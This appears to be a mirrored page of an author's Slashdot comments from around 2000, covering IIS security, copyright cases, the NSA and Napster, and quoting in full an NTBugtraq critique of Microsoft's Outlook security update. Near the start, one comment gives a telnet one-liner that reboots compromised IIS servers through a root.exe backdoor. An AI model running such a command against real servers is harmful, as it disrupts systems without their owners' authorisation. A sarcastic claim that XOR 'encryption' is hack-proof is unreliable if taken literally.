This web page from Fairfield City should be enough to convince you that Microsoft security is good enough for storing credit cards, your e-money, financial records and anything else.
Also, I was unable to figure out a way to get the machines to reboot or restart IIS
Rebooting a compromised IIS server is trivial, just add this to your script
(echo "GET/scripts/root.exe?/c+iisreset+/reboot HTTP/1.0\n\n\n\n" ; sleep 5) | telnet $1 80
or you could substitute iisreset/reboot with one iisreset/stop and one iisreset/start for less impact on the system.
Actually, yes, Napster have licensed Adobe's most advanced encryption technology. A ".NAP" is a.MP3 where the header is digitally signed so that the artist's name can't be obfuscated and the main data stream is encrypted by XORing each byte with the string 'encrypted'. This is believed to be 100% hack-proof.
"This bullying by the recording industry really has to stop. They get more than enough per CD sold, without having to charge (effectively) multiple times for the same music."
Just think how many times the Internet Service Providers will get paid for transmitting the same bits over and over again. Those bastards. And how the greedy power companies charges multiple times for using the same electrons. They send the same stuff to you 60 times per second. It's got to stop. The line must be drawn here!
If an online 'White Power' organization were to be established, that posted lists of Websites they objected to, for itemized specific reasons, would that be considered legitimate?
Sure! In fact, the Scientology UFO-cult has done exactly that. They provide a list of sites their members are not supposed to read for religious reasons. If you're curious, the ban list is here.
The moral: This patent is so weak I (having watched the trials, but without training) could break it with 90%+ confidence. A real lawyer could do it 98%+
And the poor 2% who fails would be ruined for life...
The situation is similar to a robber with a gun pointing it at ten men. The robber will only have time to fire one bullet before being disarmed, but who wants to move first and be the one the robber shoots. Better play it safe and give him all your money.
Date: Mon, 15 May 2000 21:07:41 -0400 Reply-To: Russ Sender: Windows NTBugtraq Mailing List From: Russ Subject: Outlook Email Security Update Comments: To: "NTSecurity (E-mail)" Content-Type: text/plain; charset="iso-8859-1"
Today Microsoft announced the "Outlook Email Security Update", scheduled for availability from;
http://officeupdate.microsoft.com
on May 22nd, 2000.
I was briefed on this update last week, and during this discussion I presented several recommendations. Microsoft have chosen not to implement any of them, despite the nearly 10 days available prior to its availability. Presumably they still haven't resolved the issues they have getting content onto their update sites in a timely fashion.
Before I go into what is in this update, there are several critical incorrect assertions in it. Quoting from the official press release;
"Heightened Outlook default security settings increase the default Internet security zone setting within Outlook from "trusted" to "restricted." The restricted zone disables most automatic scripting and ActiveX=AE Controls from opening without the user's permission. Users who prefer less security can easily change their Outlook settings to trusted zone."
I guess the Microsoft Office Product Group has never bothered to read my page on how Outlook works and what needs to be done to the Restricted Sites Trust Zone for it to be truly safer;
(http://ntbugtraq.ntadvice.com/outlookviews.asp)
Of course without the modifications to the default settings of the Restricted Sites Trust Zone, Outlook happily runs any Active Scripting, and will happily invoke any ActiveX control marked safe for scripting and present on your system (ActiveX downloads are disabled.)
I more than pointed this fact out to the Briefer, one Lisa Gurry from the Microsoft Office product group when she presented the functionality to me. I told her to either not make the switch to the Restricted Sites Trust Zone, or, make the switch and alter the defaults. I explained how just making the switch would yield very little benefit while misleading folks into thinking they were more secure, especially against scripting worms.
The fact that ILV was relatively stupid as worms go seems to have been missed by many people. A slightly modified version sent as HTML that doesn't bother with the address book (who needs it, most people have lots of mail in their folders from all sorts of interesting folks to reply to) will likely get by these new features since scripting can still be done. The fact that "attachments" won't invoke any more isn't likely going "to thwart the spread and impact of many computer viruses."
This presumes, of course, that some 45 million people already realize just how stupid they were to click on that attachment in the first place...and maybe have told a few friends...;-]
MS seem incapable of doing what some coder at;
http://www.slipstick.com/dev/code/zaphtml.htm
has done with relatively few lines...namely convert inbound HTML-based emails to something else (Rich Text) which completely eliminates the vulnerabilities of scripting emails.
Of course they further show their ignorance of the realities of corporate email systems by providing this quote;
"Given the global impact of the I Love You virus and the growing threat of malicious hackers, we strongly believe we must take the unprecedented step of limiting certain popular functionality in Outlook to provide a significant, additional security option for our customers,"
...which, of course, has probably triggered thousands of email gateway scanners to throw the message back as containing a worm...duh!
Granted, its unprecedented to remove functionality in favor of security...after a product's been released. This usually occurs during development...;-]
Anyway, to the features in this update;
1. "Email Attachment Security":
Attachments won't be put through to users email. That's right, they'll go into never-never land. I haven't received an answer to my question as to just where they will go. I've been told that a user will somehow, miraculously know that there was some sort of attachment on a given piece of mail but that it's been stripped in the interest of their security...
We'll have to tune in next week to find out where those objects get tossed to. ISPs may end up with thousands of little (or not-so-little) fragments of messages left behind by Outlook POP3 users who's mail simply says "Nope, I don't want that thanks"...with no ability for the user to delete it cause they can't see it...
A full list of extensions being excluded is below (which will make even more dumb email gateways break as they can't figure out whether the presence of the text string "vbs" is a script or not)
2. "Object Model Guard":
Well, to be more precise is the "Address Book Guard" really. If Outlook detects lookups in your address book (that are somehow distinguishable to an invocation of the "Find" command", it, um, pops up a dialog. Not sure what the dialog says, but presumably it will be sufficiently verbose to explain what might be happening. Haven't seen what the dialog box options are, say, for someone trying to script a newsletter or a marketing document. Guess lots of folks are going to learn how to use distribution lists (making scripting worms easier in future as they just look for distribution lists instead of lots of addresses.)
I should say, however, that this was one of the features I was looking for. Would have been nice to know how they're doing that, but...
3. "Heightened Outlook default security settings":
I covered this. They ignored my advice, don't know how their products work, and then told the world they were doing a good thing(tm)...NOT!
I *have* to believe we'll see different wording in the final web page...I don't think they'd continue to lie so blatantly about their product.
Get the feeling I'm not going to get briefed again in the future...;-]
Conclusion:
MS dropped the ball. I told them to make this thing appear as an interim step. It's not a patch, its Outlook on Training Wheels. I thought it was going to be a complete product (i.e. you download it and that's how that version works, get the full version to do more harm to yourself). As such, it made a lot of sense to have a version that was severely restricted. Put users on that till you're satisfied they aren't going to shoot themselves in the foot.
Nope, they gotta tout it as more than that.
So, bottom line, unless they change the thing before it gets released next week, make sure anyone you suggest it to also gets this URL;
http://ntbugtraq.ntadvice.com/outlookviews.asp
and turns off scripting and scripting of activeX components marked safe for scripting.
I'm not even going into the fact that Outlook Express isn't being updated. Let's get real Microsoft, its the only email package included in every shipping OS you make! Oh, and let's not forget the "It can't be removed on Windows 2000!~!@!$!%" Someone on Bugtraq made a funny post about it being a virus...come on, we all know it can't replicate itself to another machine...that's done automatically at installation of the OS...
In case you can't tell, I'm not pleased with the press release, or the completeness of the update.
That said, I made another suggestion today that hopefully will get implemented. One of the biggest problems that exist with all of this is the fact that most people never update their systems with any patches, security or otherwise. I've suggested that they put a download counter on the site so we'll be able to see just how many people actually get the thing. Doesn't say much other than show the realities. MS could put a lot more effort into a better update, and it probably still wouldn't be applied by most folks (even if they did something so the patch could apply to more of the millions of folks the patch isn't intended for, i.e. those that use Outlook Express only.)
For those interested, here's the list of extensions to be blocked by the update;
ADE Microsoft Access Project Extension ADP Microsoft Access Project ASX Streaming Audio/Video Shortcut BAS Visual Basic Class Module BAT Batch Files CHM Compiled HTML Help File CMD Windows NT Command Script COM MS-DOS Application CPL Control Panel Extension CRT Security Certificate EXE Application HLP Help File HTA HTML Applications INF Setup Information INS Internet Communication Settings ISP Internet Communication Settings JS Jscript File JSE Jscript Encoded Script File Ink Shortcut MDB Microsoft Access Application MDE Microsoft Access MDE Database MSC Microsoft Common Console Document MSI Windows Installer Package MSP Windows Installer Patch MST Visual Test Source Files PCD Photo CD Image PIF Shortcut to MS-DOS Program REG Registration Entries SCR Screen Saver SCT Windows Script Component SHS Shell Scrap Object URL Internet Shortcut VB VBScript File VBE VBScript Encoded Script File VBS VBScript Script File WSC Windows Script Component WSF Windows Script File WSH Windows Scripting Host Settings File
Cheers, Russ - NTBugtraq Editor "dot-age" (as in "we're in the dot-age") = senility (source Webster's)
"Some very impressive shots of childen swaying and falling over !"
This sounds like family fun. Until you realize what would happend if the kid fell badly and hit the corner of a table with his head. This is a lawsuit waiting to happend!
Read the FAQ before asking -- it specifically says playing Quake3 on this preliminary driver is not recommended. XFree 4 will implement the DRI infrastructure needed for good Quake 3 performance. Quote:
Q. How do I run Quake 3 accelerated? A. Due to the high demands Quake 3 puts on the client/server architecture of this implemetation, running Quake 3 is not recommended. XFree86 4.0 will have a direct rendering architecture needed to use the 3D hardware effectively with Quake 3.
THE COURTS OF APPEALS FREED IN CASE AGAINST "MUSIC PIRATE" 1999-12-27 19:39
JÖNKÖPING Showing the way to pirated music on the Internet is not a crime. It first has to be shown that the music has been published on the Internet without permission.
This judgment is done by Göta hovrätt (court of appeals), which on Monday freed a 17-year old that had been charged with illegal distribution of music on the Internet.
The reason that the 17-year old boy from Falköping, Sweden, had links to pirated music on his homepage was that he wanted to impress his friends. It was important to him to get as many visitors as possible. Something he did well, in just a few months time several thousand people visited the homepage.
-We thought the court of appeals would convict the youth, said a disappointed Lars Gustafsson, president of the record industry federation IFPI, who thinks about appealing again to the Swedish Supreme Court.
WITHOUT PERMISSION
- We learn even from sentences like this that goes against us. Next time we will of course show that the person publishing the music on the Internet did so without permission, and then the pirate will be convicted at least for collaboration, says Lars Gustafsson.
IFPI, the International Federation of the Phonographic Industry, is focused on enforcing the rights that the copyright law gives. The organisation represents more than 50 record companies that together has more than 95 percent of the Swedish music market. In later years, more and more pirated music in so called MP3-files has been distributed electronically on the net.
- I think the Internet in time will become a superior technical aid to distribute good music legally. But it takes a few years before justice catches up to technology.
SENTENCED TO PRISON
Lars Gustafsson says to TT that it during the last few months several judgments have been passed, both in Europe and the USA, where people have been sentenced to prison for distributing music on the Internet.
In the case at hand the visitors on the homepage got a pointer to different web sites where the sound files were stored. The music files never passed through the 17-year old's computer but was sent directly to the visitor's computer. Thus he did not publish the music in the sense that is meant in the Copyright law, says the Court of appeals.
On the other hand, says the court, the 17-year old could be forced to pay damages to the music right owners.
- We don't have any plans on asking for damages. We are not after this boy as a person, but the phenomenon as such, says Lars Gustafsson from IFPI.
Another reason was that the prosecution had only charged him with copyright infringment, not with the other possiblel crime--to assist someone else in copyright infringment. Because he was never prosecuted for that the court did not consider wether he broke that law.
No, this was only true in the first trial. In the appeal, this second "crime" was included in the charges, but the Court of Appeal freed the teen on all charges. Unanimosly.
(Read the Dagens Nyheter article for more information.)
....the initial release of most software is in the form of a tarball.... My problem is that alot of stuff under RH6 and other distros use RPM, or dpkg, or other such utilities.... Packaging should not be this difficult.
It is only difficult for the browsing-impaired unwashed masses. On the Samba website, you have the option of downloading both RedHat and Debian packages for the new samba release.
The Yucca can't select the stocks for you, and that's an important part of trading. The Yucca only trades in a small number of stocks that the artist selected. So saying that the Yucca has made 18% profit is useless unless you compare it to the average profit you would have made by random trades of the same set of stocks. (I'm not sure what the effect of random trades would be, but my guess would be a "random effect".)
As an example, say that the Yucca was set to trade Ericsson, Nokia, Effnet, Switchcore, Framfab, Icon medialab and other Swedish IT/telecom stocks. These stocks have probably averaged 80% up the last three months, and they certainly averages more than 20%. That means you actually lost money on the Yucca trading.
But hey, perhaps I can let my goldfish select stock for me...
...NSA is in fact working for the good of the people of the United States. That is why they are called the National Security Agency. The idea that they are trying to harm us is downright silly.
You americans so often seem to forget there is a whole world out there. Even if NSA would be working for the "good of the people of the United States", you make a logical error when you conclude that this means NSA is a good thing for all of us. The people of the United states is only a minority of the human population on earth. For the rest of us, NSA is just as bad as the KGB, GRU or whatever the appropriate TLA is.
(And I don't mean to imply that the US system is as bad as communism, just that most nations likes *all* spies to stay away from their secret data.)
Anyone who has seen recent (1998-1999) Commodore 64 demo will know what I'm saying. You wouldn't believe what they do with a 1Mhz processor these days, and its all due to *optimising*...
The C64 was released back in '84, wasn't it? It only took a few thousand skilled hackers 15 years to get to the point where the code is "optimized". And Windows still doesn't run on the thing.
Well, good luck in convincing anyone that it is wiser to spend 15 real-time years (and countless man-years) developing "optimized" software than to pay a premium for the extra CPU and RAM needed for the bloatware solution it takes 1 real-time year to develop...
Sometimes brute force is all it takes to be the best.
Re:No change in application functionality
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Check out "ReDo" for the repeating task functionality. It's great.
There is a case Playboy Enterprises, Inc. v. Calvin Designer Label where the court ruled that Calvin could not use Playboy in its metatags. The court's decision suggests that metatags may constitute infringement even though they are invisible to a viewer of the infringing user's web site.
Slashdot Mirror
This web page from Fairfield City should be enough to convince you that Microsoft security is good enough for storing credit cards, your e-money, financial records and anything else.
Rebooting a compromised IIS server is trivial, just add this to your script
(echo "GET
or you could substitute iisreset/reboot with one iisreset/stop and one iisreset/start for less impact on the system.
Actually, yes, Napster have licensed Adobe's most advanced encryption technology. A ".NAP" is a
Hey guys, this is open source: there was a security issue with 2.4 - it is fixed now.
"This bullying by the recording industry really has to stop. They get more than enough per CD sold, without having to charge (effectively) multiple times for the same music."
Just think how many times the Internet Service Providers will get paid for transmitting the same bits over and over again. Those bastards. And how the greedy power companies charges multiple times for using the same electrons. They send the same stuff to you 60 times per second. It's got to stop. The line must be drawn here!
There is already an opensource Bluetooth driver (for Linux) available over at www.developer.axis.com
Sure! In fact, the Scientology UFO-cult has done exactly that. They provide a list of sites their members are not supposed to read for religious reasons. If you're curious, the ban list is here.
And the poor 2% who fails would be ruined for life...
The situation is similar to a robber with a gun pointing it at ten men. The robber will only have time to fire one bullet before being disarmed, but
who wants to move first and be the one the robber shoots. Better play it safe and give him all your money.
Ahem, try
Date: Mon, 15 May 2000 21:07:41 -0400
Reply-To: Russ
Sender: Windows NTBugtraq Mailing List
From: Russ
Subject: Outlook Email Security Update
Comments: To: "NTSecurity (E-mail)"
Content-Type: text/plain; charset="iso-8859-1"
Today Microsoft announced the "Outlook Email Security Update", scheduled for
availability from;
http://officeupdate.microsoft.com
on May 22nd, 2000.
I was briefed on this update last week, and during this discussion I
presented several recommendations. Microsoft have chosen not to implement
any of them, despite the nearly 10 days available prior to its availability.
Presumably they still haven't resolved the issues they have getting content
onto their update sites in a timely fashion.
Before I go into what is in this update, there are several critical
incorrect assertions in it. Quoting from the official press release;
"Heightened Outlook default security settings increase the default Internet
security zone setting within Outlook from "trusted" to "restricted." The
restricted zone disables most automatic scripting and ActiveX=AE Controls
from opening without the user's permission. Users who prefer less security
can easily change their Outlook settings to trusted zone."
I guess the Microsoft Office Product Group has never bothered to read my
page on how Outlook works and what needs to be done to the Restricted Sites
Trust Zone for it to be truly safer;
(http://ntbugtraq.ntadvice.com/outlookviews.asp)
Of course without the modifications to the default settings of the
Restricted Sites Trust Zone, Outlook happily runs any Active Scripting, and
will happily invoke any ActiveX control marked safe for scripting and
present on your system (ActiveX downloads are disabled.)
I more than pointed this fact out to the Briefer, one Lisa Gurry from the
Microsoft Office product group when she presented the functionality to me. I
told her to either not make the switch to the Restricted Sites Trust Zone,
or, make the switch and alter the defaults. I explained how just making the
switch would yield very little benefit while misleading folks into thinking
they were more secure, especially against scripting worms.
The fact that ILV was relatively stupid as worms go seems to have been
missed by many people. A slightly modified version sent as HTML that doesn't
bother with the address book (who needs it, most people have lots of mail in
their folders from all sorts of interesting folks to reply to) will likely
get by these new features since scripting can still be done. The fact that
"attachments" won't invoke any more isn't likely going "to thwart the spread
and impact of many computer viruses."
This presumes, of course, that some 45 million people already realize just
how stupid they were to click on that attachment in the first place...and
maybe have told a few friends...;-]
MS seem incapable of doing what some coder at;
http://www.slipstick.com/dev/code/zaphtml.htm
has done with relatively few lines...namely convert inbound HTML-based
emails to something else (Rich Text) which completely eliminates the
vulnerabilities of scripting emails.
Of course they further show their ignorance of the realities of corporate
email systems by providing this quote;
"Given the global impact of the I Love You virus and the growing threat of
malicious hackers, we strongly believe we must take the unprecedented step
of limiting certain popular functionality in Outlook to provide a
significant, additional security option for our customers,"
scanners to throw the message back as containing a worm...duh!
Granted, its unprecedented to remove functionality in favor of
security...after a product's been released. This usually occurs during
development...;-]
Anyway, to the features in this update;
1. "Email Attachment Security":
Attachments won't be put through to users email. That's right, they'll go
into never-never land. I haven't received an answer to my question as to
just where they will go. I've been told that a user will somehow,
miraculously know that there was some sort of attachment on a given piece of
mail but that it's been stripped in the interest of their security...
We'll have to tune in next week to find out where those objects get tossed
to. ISPs may end up with thousands of little (or not-so-little) fragments of
messages left behind by Outlook POP3 users who's mail simply says "Nope, I
don't want that thanks"...with no ability for the user to delete it cause
they can't see it...
A full list of extensions being excluded is below (which will make even more
dumb email gateways break as they can't figure out whether the presence of
the text string "vbs" is a script or not)
2. "Object Model Guard":
Well, to be more precise is the "Address Book Guard" really. If Outlook
detects lookups in your address book (that are somehow distinguishable to an
invocation of the "Find" command", it, um, pops up a dialog. Not sure what
the dialog says, but presumably it will be sufficiently verbose to explain
what might be happening. Haven't seen what the dialog box options are, say,
for someone trying to script a newsletter or a marketing document. Guess
lots of folks are going to learn how to use distribution lists (making
scripting worms easier in future as they just look for distribution lists
instead of lots of addresses.)
I should say, however, that this was one of the features I was looking for.
Would have been nice to know how they're doing that, but...
3. "Heightened Outlook default security settings":
I covered this. They ignored my advice, don't know how their products work,
and then told the world they were doing a good thing(tm)...NOT!
I *have* to believe we'll see different wording in the final web page...I
don't think they'd continue to lie so blatantly about their product.
Get the feeling I'm not going to get briefed again in the future...;-]
Conclusion:
MS dropped the ball. I told them to make this thing appear as an interim
step. It's not a patch, its Outlook on Training Wheels. I thought it was
going to be a complete product (i.e. you download it and that's how that
version works, get the full version to do more harm to yourself). As such,
it made a lot of sense to have a version that was severely restricted. Put
users on that till you're satisfied they aren't going to shoot themselves in
the foot.
Nope, they gotta tout it as more than that.
So, bottom line, unless they change the thing before it gets released next
week, make sure anyone you suggest it to also gets this URL;
http://ntbugtraq.ntadvice.com/outlookviews.asp
and turns off scripting and scripting of activeX components marked safe for
scripting.
I'm not even going into the fact that Outlook Express isn't being updated.
Let's get real Microsoft, its the only email package included in every
shipping OS you make! Oh, and let's not forget the "It can't be removed on
Windows 2000!~!@!$!%" Someone on Bugtraq made a funny post about it being a
virus...come on, we all know it can't replicate itself to another
machine...that's done automatically at installation of the OS...
In case you can't tell, I'm not pleased with the press release, or the
completeness of the update.
That said, I made another suggestion today that hopefully will get
implemented. One of the biggest problems that exist with all of this is the
fact that most people never update their systems with any patches, security
or otherwise. I've suggested that they put a download counter on the site so
we'll be able to see just how many people actually get the thing. Doesn't
say much other than show the realities. MS could put a lot more effort into
a better update, and it probably still wouldn't be applied by most folks
(even if they did something so the patch could apply to more of the millions
of folks the patch isn't intended for, i.e. those that use Outlook Express
only.)
For those interested, here's the list of extensions to be blocked by the
update;
ADE Microsoft Access Project Extension
ADP Microsoft Access Project
ASX Streaming Audio/Video Shortcut
BAS Visual Basic Class Module
BAT Batch Files
CHM Compiled HTML Help File
CMD Windows NT Command Script
COM MS-DOS Application
CPL Control Panel Extension
CRT Security Certificate
EXE Application
HLP Help File
HTA HTML Applications
INF Setup Information
INS Internet Communication Settings
ISP Internet Communication Settings
JS Jscript File
JSE Jscript Encoded Script File
Ink Shortcut
MDB Microsoft Access Application
MDE Microsoft Access MDE Database
MSC Microsoft Common Console Document
MSI Windows Installer Package
MSP Windows Installer Patch
MST Visual Test Source Files
PCD Photo CD Image
PIF Shortcut to MS-DOS Program
REG Registration Entries
SCR Screen Saver
SCT Windows Script Component
SHS Shell Scrap Object
URL Internet Shortcut
VB VBScript File
VBE VBScript Encoded Script File
VBS VBScript Script File
WSC Windows Script Component
WSF Windows Script File
WSH Windows Scripting Host Settings File
Cheers,
Russ - NTBugtraq Editor
"dot-age" (as in "we're in the dot-age") = senility (source Webster's)
Some articles says the women have been in contact with "Michael", the German studying in Australia. So it's three people involved.
"Some very impressive shots of childen swaying and falling over !"
This sounds like family fun. Until you realize what would happend if the kid fell badly and hit the corner of a table with his head. This is a lawsuit waiting to happend!
Read the FAQ before asking -- it specifically says playing Quake3 on this preliminary driver is not recommended. XFree 4 will implement the DRI infrastructure needed for good Quake 3 performance. Quote:
Bork. Bork. Bork.
Quickie translation of the Metro article:
THE COURTS OF APPEALS FREED IN CASE AGAINST "MUSIC PIRATE"
1999-12-27 19:39
JÖNKÖPING
Showing the way to pirated music on the Internet is not a crime. It first has to be shown that the music has been published on the Internet without permission.
This judgment is done by Göta hovrätt (court of appeals), which on Monday freed a 17-year old that had been charged with illegal distribution of music on the Internet.
The reason that the 17-year old boy from Falköping, Sweden, had links to pirated music on his homepage was that he wanted to impress his friends. It was important to him to get as many visitors as possible. Something he did well, in just a few months time several thousand people visited the homepage.
-We thought the court of appeals would convict the youth, said a disappointed Lars Gustafsson, president of the record industry federation IFPI, who thinks about appealing again to the Swedish Supreme Court.
WITHOUT PERMISSION
- We learn even from sentences like this that goes against us. Next time we will of course show that the person publishing the music on the Internet did so without permission, and then the pirate will be convicted at least for collaboration, says Lars Gustafsson.
IFPI, the International Federation of the Phonographic Industry, is focused on enforcing the rights that the copyright law gives. The organisation represents more than 50 record companies that together has more than 95 percent of the Swedish music market. In later years, more and more pirated music in so called MP3-files has been distributed electronically on the net.
- I think the Internet in time will become a superior technical aid to distribute good music legally. But it takes a few years before justice catches up to technology.
SENTENCED TO PRISON
Lars Gustafsson says to TT that it during the last few months several judgments have been passed, both in Europe and the USA, where people have been sentenced to prison for distributing music on the Internet.
In the case at hand the visitors on the homepage got a pointer to different web sites where the sound files were stored. The music files never passed through the 17-year old's computer but was sent directly to the visitor's computer. Thus he did not publish the music in the sense that is meant in the Copyright law, says the Court of appeals.
On the other hand, says the court, the 17-year old could be forced to pay damages to the music right owners.
- We don't have any plans on asking for damages. We are not after this boy as a person, but the phenomenon as such, says Lars Gustafsson from IFPI.
Cecilia Anderson Edwall/TT
No, this was only true in the first trial. In the appeal, this second "crime" was included in the charges, but the Court of Appeal freed the teen on all charges. Unanimosly.
(Read the Dagens Nyheter article for more information.)
It is only difficult for the browsing-impaired unwashed masses. On the Samba website, you have the option of downloading both RedHat and Debian packages for the new samba release.
They're on the Samba FTP site, too. Gee.
Comparing the Yucca palm's 18% to
Stockholm Exchange VA IT index - up 24,24% last three months
Stockholm Exchange VA total index - up 14,31% last three months
(Source: www.dnbors.dn.se)
The Yucca can't select the stocks for you, and that's an important part of trading. The Yucca only trades in a small number of stocks that the artist selected. So saying that the Yucca has made 18% profit is useless unless you compare it to the average profit you would have made by random trades of the same set of stocks. (I'm not sure what the effect of random trades would be, but my guess would be a "random effect".)
As an example, say that the Yucca was set to trade Ericsson, Nokia, Effnet, Switchcore, Framfab, Icon medialab and other Swedish IT/telecom stocks. These stocks have probably averaged 80% up the last three months, and they certainly averages more than 20%. That means you actually lost money on the Yucca trading.
But hey, perhaps I can let my goldfish select stock for me...
Just remember: To make up for any damage from cell-phone radiation, just eat more mashed potatoes.
...NSA is in fact working for the good of the people of the United States. That is why they are called the National Security Agency. The idea that they are trying to harm us is downright silly.
You americans so often seem to forget there is a whole world out there. Even if NSA would be working for the "good of the people of the United States", you make a logical error when you conclude that this means NSA is a good thing for all of us. The people of the United states is only a minority of the human population on earth.
For the rest of us, NSA is just as bad as the KGB, GRU or whatever the appropriate TLA is.
(And I don't mean to imply that the US system is as bad as communism, just that most nations likes *all* spies to stay away from their secret data.)
Anyone who has seen recent (1998-1999) Commodore 64 demo will know what I'm saying. You
wouldn't believe what they do with a 1Mhz processor these days, and its all due to *optimising*...
The C64 was released back in '84, wasn't it? It only took a few thousand skilled hackers 15 years to get to the point where the code is "optimized".
And Windows still doesn't run on the thing.
Well, good luck in convincing anyone that it is wiser to spend 15 real-time years (and countless man-years) developing "optimized" software than to pay a premium for the extra CPU and RAM needed for the bloatware solution it takes 1 real-time year to develop...
Sometimes brute force is all it takes to be the best.
Check out "ReDo" for the repeating task functionality. It's great.
There is a case Playboy Enterprises, Inc. v. Calvin Designer Label where the court ruled that Calvin could not use Playboy in its metatags. The court's decision suggests that metatags may constitute infringement even though they are invisible to a viewer of the infringing user's web site.
And another one is http://www.weintraub.com/artic les/invistrademrk.html